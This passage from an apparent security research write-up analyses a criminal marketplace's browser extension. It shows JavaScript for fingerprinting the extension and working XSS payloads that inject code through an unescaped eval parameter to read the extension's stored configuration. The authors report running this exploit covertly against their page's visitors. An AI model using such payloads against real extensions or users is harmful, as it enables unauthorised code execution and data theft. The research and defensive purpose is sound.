The extension contains functionality (and has the permission) to configure a SOCKS5 proxy. In the victim’s extension, a method for proxying HTTPS requests through the victim’s browser was found that uses WebSockets. The functionality to send requests over such a WebSocket connection was not found in the buyer’s extension, although due to the obfuscation this is not fully certain. It is still an open question on whether proxying through the victim’s machine directly was a feature offered by the market, or whether the buyers only used their own SOCKS5 proxies.

Fingerprinting buyers

The extension registers an event handler on all webpages. The content script that gets added to each visited webpage by the extension registers an event handler for a custom event named hammilton. This appears to be a method for communicating with the extension from a webpage, as it will pass the result back to the page. When this event is received by the content script, it sends a message to the background script, which will send a response back as JavaScript code which is evaluated in the content script:

location.href = 'javascript: if(window.bunny && window.bunny.cb && window.bunny.cb[0])window.bunny.cb[0]([{"result":{"result":0}}])'

Therefore, by setting window.bunny.cb[0] to a JavaScript function and sending the event, it is possible to determine if a user has this extension installed by determining if that function is called.

window.bunny = { "cb": [function() {
	console.log("Extension detected.");
}]}

window.dispatchEvent(new CustomEvent("hammilton", {"detail": {"l": "0", "o": "b"}}));

The reason why this is present is not entirely clear to us. However, it does provide us with a nice way of fingerprinting the buyers’ extension.

Taking it one step further…

Fingerprinting buyers is already cool of course, but maybe we can take it one step further? For example by exploiting a XSS vulnerability in the extension itself? There is a vulnerability in the method used to communicate back to the webpage. The parameter l in the custom event detail object is used in the response code that is evaluated. This value is used as-is and not escaped before calling eval. By including a single quote character ('), it possible to inject additional JavaScript code that gets executed in the context of the content script.

For example, the following event, sent from the webpage:

window.dispatchEvent(new CustomEvent("hammilton", {"detail": {"l": "a'; console.log(1); //", "o": "b"}}));

Results in the following code being evaluated inside the content script (newlines added for legibility):

location.href = 'javascript: if(window.bunny && window.bunny.cb && window.bunny.cb[a';
console.log(1);
//])window.bunny.cb[a'; console.log(1); //]([{"result":{"result":0}}])'

Therefore, the console.log(1) is executed by the content script, instead of the page.

Browser extensions use an (invisible) background page which can use all the permissions granted to that extension. This background page does not directly have access to the contents of the visited webpages, but it can inject new JavaScript to run on those pages, called “content scripts”. Content scripts have access to a specific page and can interact with that page’s DOM, but use a JavaScript environment that is separate from the page’s own JavaScript environment. Content scripts do not have all the permissions of the background page, but they do have permission to send messages to the background page and can access the storage of the extension, making them more powerful than the page’s own JavaScript.

Therefore, one of the things that can be done with by sending messages to the background page is copying the configuration of the plugin. For example:

window.addEventListener("storage", function (event) {
  document.getElementById("log").innerText += "Storage obtained: " + JSON.stringify(event.detail.storage) + "\n";
})

var payload = `chrome.storage.local.get(null, (storage) => { window.dispatchEvent(new CustomEvent("storage", {"detail": {"storage": storage }})); });`;

window.parent.dispatchEvent(new CustomEvent("hammilton", {"detail": {"l": "a';" + payload + "; //", "o": "b"}}));

We have actually included a script in this page which will exploit this precise vulnerability (if you have this extension installed). It first turned off the proxy functionality, and then uploaded your extension configuration to us.

Conclusions

We would like to thank all law enforcement agencies that collaborated on this case, to take this market place down. We’re glad we could be of any assistance. All findings have been shared with authorities and all malicious files have been reported to the relevant organisations. Hopefully this post can help any future researchers, if this market place ever comes back online.

If you have any followup questions, feel free to reach out.

For reference, these are the files that we investigated (the buyers side is purposely excluded from this list):

File name SHA1 hash
setup.exe b3e56f7affa17403d3df4ebf4c95b14928798bd6
yvibiajwi.dll 78c43eb6d80888c8153868ebc60ca522185a1fce
svchost.exe f811f77f5b53c13a06b43b10eb6189513f66d2a2
Qruhaepdediwhf.dll e87a4c23eac88803f27565c2a035222473167a14
v3.bs64 36af8aac85d4770146d7b6c6cbb0dc7691c6263a
Menu